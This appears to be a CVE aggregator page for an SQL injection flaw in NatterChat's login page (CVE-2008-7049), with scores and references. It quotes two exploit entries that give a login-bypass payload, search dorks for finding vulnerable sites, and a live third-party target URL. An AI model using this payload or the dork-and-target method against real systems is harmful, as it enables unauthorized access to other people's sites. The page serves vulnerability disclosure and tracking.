CVE-2008-7049
published 2009-08-24CVE-2008-7049: Multiple SQL injection vulnerabilities in login.asp in NatterChat 1.1 and 1.12 allow remote attackers to execute arbitrary SQL commands via the (1) txtUsername…
PriorityP345high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
0.97%
57.6th percentile
Multiple SQL injection vulnerabilities in login.asp in NatterChat 1.1 and 1.12 allow remote attackers to execute arbitrary SQL commands via the (1) txtUsername parameter (aka Username) and (2) txtPassword parameter (aka Password) in a form generated by home.asp. NOTE: due to lack of details, it is not clear whether this is related to CVE-2004-2206.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| natterchat | natterchat | — | — |
| natterchat | natterchat | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Natterchat 1.1 - Authentication Bypass
exploitdb·2008-11-20
CVE-2008-7049 Natterchat 1.1 - Authentication Bypass
Natterchat 1.1 - Authentication Bypass
---
[+] Script Name : NATTERCHAT v1.1 remote login bypass
[+] Author : Bl@ckbe@rD ('Tunisian TerrorisT')
[+] Contact : blackbeard-sql[A.T]hotmail{.}fr ;
[+] Dork : Powered by NATTERCHAT v 1.1
--//-->
[+] Expl0iT :
1) Go to the Login page http://www.exemple.ff/chat/nattechat/home.asp
2) Username : admin
Password : ' or '1'='1
3) You are the Admin now!
N.B : U can aplly an SQL query in both (Username or Password) but we done only ' or '1'='1 coz it's always true then we can simply bypass the login page
--//-->
[+] Greetz : hak3r-b0y , Underz0ne Crew , king Of Hacker , Zigma , micro0x02 ...
# milw0rm.com [2008-11-20]
Exploit-DB
Natterchat 1.12 - Authentication Bypass
exploitdb·2008-11-20
CVE-2008-7049 Natterchat 1.12 - Authentication Bypass
Natterchat 1.12 - Authentication Bypass
---
[+] Script Name : Natterchat v1.12 (Auth Bypass) Remote SQL Injection Vulnerability
[+] Author : Mountassif Moad
[+] Dork : Powered by Natterchat v1.12
[+] Expl0iT :
1) Go to the Login page http://www.site.il/chat/nattechat/home.asp
2) Username : admin
Password : ' or '1'='1
Live Demo
http://www.sprq.ca/cgi-bin/natterchat/chat.asp
# milw0rm.com [2008-11-20]
No writeups or analysis indexed.
http://www.securityfocus.com/bid/32385https://exchange.xforce.ibmcloud.com/vulnerabilities/46748https://www.exploit-db.com/exploits/7172https://www.exploit-db.com/exploits/7175http://www.securityfocus.com/bid/32385https://exchange.xforce.ibmcloud.com/vulnerabilities/46748https://www.exploit-db.com/exploits/7172https://www.exploit-db.com/exploits/7175
2009-08-24
Published